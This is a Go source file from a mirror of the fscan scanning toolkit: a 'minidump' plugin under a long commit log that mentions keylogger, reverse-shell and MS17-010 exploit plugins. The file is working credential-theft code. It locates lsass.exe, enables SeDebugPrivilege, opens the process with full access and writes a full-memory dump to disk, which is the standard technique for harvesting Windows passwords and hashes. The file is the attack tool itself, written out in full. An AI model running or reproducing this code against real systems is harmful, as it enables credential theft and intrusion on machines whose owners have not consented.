mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 11:41:53 +08:00
* add CVE-2026-24061 detect logic (#562) * add CVE-2026-24061 detect logic * fix(telnet): 修复 errcheck 警告,统一错误处理风格 --------- Co-authored-by: ZacharyZcR <[email protected]> * fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码 - hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争 - port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁 - web_scanner.go: 删除只写不读的 fingerprintCache - webtitle.go: 移除对已删除 SetFingerprints 的调用 - keylogger.go: 删除未使用的 stopChan 和 isRunning 字段 * refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效 - RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件 - 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup, 通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁 - Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路 - ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务 - CLI 模式传 context.Background(),行为完全不变 * fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic - scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回 - smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验 * fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race - webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background(); sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争 - webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan - webpoc.go: 传递 ctx 到 WebScan - proxy/types.go: ProxyStats 增加 sync.Mutex - proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁 * fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警 Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex * fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑 - httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex - findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic - ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验 - web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试 - Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置 * fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消 - scan.go: Web API 构建 config/state 后同步到全局实例 - config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志 - reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消 - forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞 - socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞 * refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3) - 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer - RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session - Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session) - 48 个插件实现统一更新签名 - Web API 构建 ScanSession 传给 RunScan - CLI 模式通过 Initialize() 创建 session * refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4) - core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session - core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP - core/icmp.go: CheckLive/tcpProbeAlive 接入 session - 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session - 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理) - plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留 * refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5) - core/alive_scanner.go: GetFlagVars() → session.Params - core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports - common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局 - common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave - common/network.go: WrapperTcpWithTimeout 标记 Deprecated - core/ 和 plugins/ 下已无全局状态调用残留 * fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题 * fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过 * perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代 * feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报 * perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半 * fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏 * fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复 * perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min * fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报 * perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底 * fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数 * feat: Release 增加 armv5 架构支持 * chore: bump version to 2.1.3 * fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败 * fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题 * feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费 - 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON - LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题 - 支持 fscan -h xxx -silent | jq 管道用法 * fix rdp invalid random panic (#573) * restore ms17010 legacy detection and exploit (#574) * fix ms17010 legacy packet decoding (#574) * fix csv web title output (#575) * fix web result protocol output (#577) * feat: add -ntp flag to disable TCP supplementary probe * fix: skip TCP supplementary probe in icmp mode * feat: add -debug flag with file logging to fscan_debug.log * fix: resolve golangci-lint errcheck and staticcheck warnings * fix: skip proxy deep verification for SOCKS5 connections (#579) SOCKS5 protocol validates connection reachability at protocol level, deep verification was incorrectly rejecting non-banner services like SMB(445), RPC(139) and Kerberos(88). * fix: exclude timeout from scan failure rate calculation (#578) Timeout is a normal scan result when firewalls drop packets, not a scan failure. Only resource exhaustion errors count toward failure rate. * feat: flatten NDJSON output for AI agent consumption and add SKILL.md * perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时 * perf: 四项扫描性能优化 - SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积 - 服务探测超时自适应,RTT 采样约束读超时上限 - 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行 - ICMP 批量预构建包和地址,减少发送循环开销 * perf: 六项性能优化 - DNS 解析缓存:sync.Map 缓存避免重复系统调用 - 凭据测试 TCP 预检:不可达目标直接跳过全部凭据 - Web 探测 HTTP Client 复用:全局共享连接池 - 端口扫描 Bloom Filter 去重:替代 map 降低内存 - 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争 - 服务探针预解码:Init 时预编译,运行时零解码开销 * refactor: replace bloom filter with map for deduplication Bloom filter has false positive risk which can silently drop valid scan results. Map provides exact deduplication with negligible memory overhead at the scale of open ports (typically thousands, not millions). * fix: credential TCP precheck bypass proxy and pipeline goroutine leak - Skip TCP precheck when proxy is enabled, net.DialTimeout cannot reach targets behind SOCKS5/HTTP proxy - Drain stream channel on ctx cancellation to prevent EnhancedPortScan goroutine from blocking on a full channel * fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms * fix: resolve golangci-lint errcheck and staticcheck warnings --------- Co-authored-by: r00t <[email protected]>
520 lines
13 KiB
Go
520 lines
13 KiB
Go
//go:build (plugin_minidump || !plugin_selective) && windows && !no_local
|
|
|
|
package local
|
|
|
|
import (
|
|
"context"
|
|
"errors"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"syscall"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
const (
|
|
TH32CS_SNAPPROCESS = 0x00000002
|
|
INVALID_HANDLE_VALUE = ^uintptr(0)
|
|
MAX_PATH = 260
|
|
PROCESS_ALL_ACCESS = 0x1F0FFF
|
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
|
)
|
|
|
|
type PROCESSENTRY32 struct {
|
|
dwSize uint32
|
|
cntUsage uint32
|
|
th32ProcessID uint32
|
|
th32DefaultHeapID uintptr
|
|
th32ModuleID uint32
|
|
cntThreads uint32
|
|
th32ParentProcessID uint32
|
|
pcPriClassBase int32
|
|
dwFlags uint32
|
|
szExeFile [MAX_PATH]uint16
|
|
}
|
|
|
|
type LUID struct {
|
|
LowPart uint32
|
|
HighPart int32
|
|
}
|
|
|
|
type LUID_AND_ATTRIBUTES struct {
|
|
Luid LUID
|
|
Attributes uint32
|
|
}
|
|
|
|
type TOKEN_PRIVILEGES struct {
|
|
PrivilegeCount uint32
|
|
Privileges [1]LUID_AND_ATTRIBUTES
|
|
}
|
|
|
|
// MiniDumpPlugin 内存转储插件
|
|
// 设计哲学:直接实现,删除过度设计
|
|
// - 删除复杂的继承体系
|
|
// - 直接实现内存转储功能
|
|
// - 保持原有功能逻辑
|
|
type MiniDumpPlugin struct {
|
|
plugins.BasePlugin
|
|
kernel32 *syscall.DLL
|
|
dbghelp *syscall.DLL
|
|
advapi32 *syscall.DLL
|
|
}
|
|
|
|
// ProcessManager Windows进程管理器
|
|
type ProcessManager struct {
|
|
kernel32 *syscall.DLL
|
|
dbghelp *syscall.DLL
|
|
advapi32 *syscall.DLL
|
|
}
|
|
|
|
// NewMiniDumpPlugin 创建内存转储插件
|
|
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
|
return &MiniDumpPlugin{
|
|
BasePlugin: plugins.NewBasePlugin("minidump"),
|
|
}
|
|
}
|
|
|
|
// Scan 执行内存转储 - 直接实现
|
|
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
|
config := session.Config
|
|
state := session.State
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
common.LogError(i18n.Tr("minidump_panic", r))
|
|
}
|
|
}()
|
|
|
|
var output strings.Builder
|
|
|
|
output.WriteString("=== 进程内存转储 ===\n")
|
|
output.WriteString(fmt.Sprintf("平台: %s\n", runtime.GOOS))
|
|
|
|
// 加载系统DLL
|
|
if err := p.loadSystemDLLs(); err != nil {
|
|
output.WriteString(fmt.Sprintf("加载系统DLL失败: %v\n", err))
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 检查管理员权限
|
|
if !p.isAdmin() {
|
|
output.WriteString("需要管理员权限才能执行内存转储\n")
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: errors.New("需要管理员权限"),
|
|
}
|
|
}
|
|
|
|
output.WriteString("✓ 已确认具有管理员权限\n")
|
|
|
|
// 创建进程管理器
|
|
pm := &ProcessManager{
|
|
kernel32: p.kernel32,
|
|
dbghelp: p.dbghelp,
|
|
advapi32: p.advapi32,
|
|
}
|
|
|
|
// 查找lsass.exe进程
|
|
output.WriteString("正在查找lsass.exe进程...\n")
|
|
pid, err := pm.findProcess("lsass.exe")
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("查找lsass.exe失败: %v\n", err))
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
output.WriteString(fmt.Sprintf("✓ 找到lsass.exe进程, PID: %d\n", pid))
|
|
|
|
// 提升权限
|
|
output.WriteString("正在提升SeDebugPrivilege权限...\n")
|
|
if privErr := pm.elevatePrivileges(); privErr != nil {
|
|
output.WriteString(fmt.Sprintf("权限提升失败: %v (尝试继续执行)\n", privErr))
|
|
} else {
|
|
output.WriteString("✓ 权限提升成功\n")
|
|
}
|
|
|
|
// 创建转储文件
|
|
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
|
output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath))
|
|
|
|
// 执行转储
|
|
output.WriteString("开始执行内存转储...\n")
|
|
|
|
// 创建带超时的context
|
|
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
|
defer cancel()
|
|
|
|
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("内存转储失败: %v\n", err))
|
|
// 创建错误信息文件
|
|
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
|
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
|
_ = os.WriteFile(outputPath, errorData, 0644)
|
|
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 获取文件信息
|
|
fileInfo, err := os.Stat(outputPath)
|
|
var fileSize int64
|
|
if err == nil {
|
|
fileSize = fileInfo.Size()
|
|
}
|
|
|
|
output.WriteString("✓ 内存转储完成\n")
|
|
output.WriteString(fmt.Sprintf("转储文件: %s\n", outputPath))
|
|
output.WriteString(fmt.Sprintf("文件大小: %d bytes\n", fileSize))
|
|
|
|
common.LogSuccess(i18n.Tr("minidump_success", outputPath, fileSize))
|
|
|
|
return &plugins.Result{
|
|
Success: true,
|
|
Type: plugins.ResultTypeService,
|
|
Output: output.String(),
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// loadSystemDLLs 加载系统DLL
|
|
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
|
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
|
if err != nil {
|
|
return fmt.Errorf("加载 kernel32.dll 失败: %w", err)
|
|
}
|
|
|
|
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
|
if err != nil {
|
|
return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err)
|
|
}
|
|
|
|
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
|
if err != nil {
|
|
return fmt.Errorf("加载 advapi32.dll 失败: %w", err)
|
|
}
|
|
|
|
p.kernel32 = kernel32
|
|
p.dbghelp = dbghelp
|
|
p.advapi32 = advapi32
|
|
|
|
return nil
|
|
}
|
|
|
|
// isAdmin 检查是否具有管理员权限
|
|
func (p *MiniDumpPlugin) isAdmin() bool {
|
|
var sid *windows.SID
|
|
err := windows.AllocateAndInitializeSid(
|
|
&windows.SECURITY_NT_AUTHORITY,
|
|
2,
|
|
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
|
windows.DOMAIN_ALIAS_RID_ADMINS,
|
|
0, 0, 0, 0, 0, 0,
|
|
&sid)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
defer func() { _ = windows.FreeSid(sid) }()
|
|
|
|
token := windows.Token(0)
|
|
member, err := token.IsMember(sid)
|
|
return err == nil && member
|
|
}
|
|
|
|
// ProcessManager 方法实现
|
|
|
|
// findProcess 查找进程
|
|
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
|
snapshot, err := pm.createProcessSnapshot()
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
defer pm.closeHandle(snapshot)
|
|
|
|
return pm.findProcessInSnapshot(snapshot, name)
|
|
}
|
|
|
|
// createProcessSnapshot 创建进程快照
|
|
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
|
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err)
|
|
}
|
|
|
|
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
|
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
|
lastError := windows.GetLastError()
|
|
//nolint:errorlint // Windows LastError不应该wrapped
|
|
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
|
|
}
|
|
return handle, nil
|
|
}
|
|
|
|
// findProcessInSnapshot 在快照中查找进程
|
|
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
|
var pe32 PROCESSENTRY32
|
|
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
|
|
|
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err)
|
|
}
|
|
|
|
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err)
|
|
}
|
|
|
|
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err)
|
|
}
|
|
|
|
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
if ret == 0 {
|
|
//nolint:errorlint // Windows LastError不应该wrapped
|
|
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError())
|
|
}
|
|
|
|
for {
|
|
namePtr, err := syscall.UTF16PtrFromString(name)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("转换进程名失败: %w", err)
|
|
}
|
|
|
|
ret, _, _ = lstrcmpi.Call(
|
|
uintptr(unsafe.Pointer(namePtr)),
|
|
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
|
)
|
|
|
|
if ret == 0 {
|
|
return pe32.th32ProcessID, nil
|
|
}
|
|
|
|
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
if ret == 0 {
|
|
break
|
|
}
|
|
}
|
|
|
|
return 0, fmt.Errorf("未找到进程: %s", name)
|
|
}
|
|
|
|
// elevatePrivileges 提升权限
|
|
func (pm *ProcessManager) elevatePrivileges() error {
|
|
handle, err := pm.getCurrentProcess()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
var token syscall.Token
|
|
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
|
if err != nil {
|
|
return fmt.Errorf("打开进程令牌失败: %w", err)
|
|
}
|
|
defer func() { _ = token.Close() }()
|
|
|
|
var tokenPrivileges TOKEN_PRIVILEGES
|
|
|
|
privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege")
|
|
if err != nil {
|
|
return fmt.Errorf("转换权限名称失败: %w", err)
|
|
}
|
|
|
|
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
|
ret, _, err := lookupPrivilegeValue.Call(
|
|
0,
|
|
uintptr(unsafe.Pointer(privilegeName)),
|
|
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
|
)
|
|
if ret == 0 {
|
|
return fmt.Errorf("查找特权值失败: %w", err)
|
|
}
|
|
|
|
tokenPrivileges.PrivilegeCount = 1
|
|
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
|
|
|
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
|
ret, _, err = adjustTokenPrivileges.Call(
|
|
uintptr(token),
|
|
0,
|
|
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
|
0, 0, 0,
|
|
)
|
|
if ret == 0 {
|
|
return fmt.Errorf("调整令牌特权失败: %w", err)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// getCurrentProcess 获取当前进程句柄
|
|
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
|
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
|
handle, _, _ := proc.Call()
|
|
if handle == 0 {
|
|
return 0, fmt.Errorf("获取当前进程句柄失败")
|
|
}
|
|
return syscall.Handle(handle), nil
|
|
}
|
|
|
|
// dumpProcessWithTimeout 带超时的转储进程内存
|
|
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
|
resultChan := make(chan error, 1)
|
|
|
|
go func() {
|
|
resultChan <- pm.dumpProcess(pid, outputPath)
|
|
}()
|
|
|
|
select {
|
|
case err := <-resultChan:
|
|
return err
|
|
case <-ctx.Done():
|
|
return fmt.Errorf("内存转储超时 (120秒)")
|
|
}
|
|
}
|
|
|
|
// dumpProcess 转储进程内存
|
|
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
|
processHandle, err := pm.openProcess(pid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer pm.closeHandle(processHandle)
|
|
|
|
fileHandle, err := pm.createDumpFile(outputPath)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer pm.closeHandle(fileHandle)
|
|
|
|
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
|
if err != nil {
|
|
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err)
|
|
}
|
|
|
|
// 转储类型标志
|
|
const MiniDumpWithDataSegs = 0x00000001
|
|
const MiniDumpWithFullMemory = 0x00000002
|
|
const MiniDumpWithHandleData = 0x00000004
|
|
const MiniDumpWithUnloadedModules = 0x00000020
|
|
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
|
const MiniDumpWithProcessThreadData = 0x00000100
|
|
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
|
const MiniDumpWithFullMemoryInfo = 0x00000800
|
|
const MiniDumpWithThreadInfo = 0x00001000
|
|
const MiniDumpWithCodeSegs = 0x00002000
|
|
|
|
// 组合转储类型标志
|
|
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
|
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
|
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
|
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
|
|
|
ret, _, _ := miniDumpWriteDump.Call(
|
|
processHandle,
|
|
uintptr(pid),
|
|
fileHandle,
|
|
uintptr(dumpType),
|
|
0, 0, 0,
|
|
)
|
|
|
|
if ret == 0 {
|
|
// 尝试使用较小的转储类型作为后备
|
|
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
|
|
|
ret, _, _ = miniDumpWriteDump.Call(
|
|
processHandle,
|
|
uintptr(pid),
|
|
fileHandle,
|
|
uintptr(fallbackDumpType),
|
|
0, 0, 0,
|
|
)
|
|
|
|
if ret == 0 {
|
|
//nolint:errorlint // Windows LastError不应该wrapped
|
|
return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError())
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// openProcess 打开进程
|
|
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
|
proc, err := pm.kernel32.FindProc("OpenProcess")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err)
|
|
}
|
|
|
|
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
|
if handle == 0 {
|
|
lastError := windows.GetLastError()
|
|
//nolint:errorlint // Windows LastError不应该wrapped
|
|
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
|
}
|
|
return handle, nil
|
|
}
|
|
|
|
// createDumpFile 创建转储文件
|
|
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
|
pathPtr, err := syscall.UTF16PtrFromString(path)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
|
|
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err)
|
|
}
|
|
|
|
handle, _, callErr := createFile.Call(
|
|
uintptr(unsafe.Pointer(pathPtr)),
|
|
syscall.GENERIC_WRITE,
|
|
0, 0,
|
|
syscall.CREATE_ALWAYS,
|
|
syscall.FILE_ATTRIBUTE_NORMAL,
|
|
0,
|
|
)
|
|
|
|
if handle == INVALID_HANDLE_VALUE {
|
|
lastError := windows.GetLastError()
|
|
//nolint:errorlint // Windows LastError不应该wrapped
|
|
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
|
}
|
|
|
|
return handle, nil
|
|
}
|
|
|
|
// closeHandle 关闭句柄
|
|
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
|
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
|
_, _, _ = proc.Call(handle)
|
|
}
|
|
}
|
|
|
|
// 注册插件
|
|
func init() {
|
|
RegisterLocalPlugin("minidump", func() Plugin {
|
|
return NewMiniDumpPlugin()
|
|
})
|
|
}
|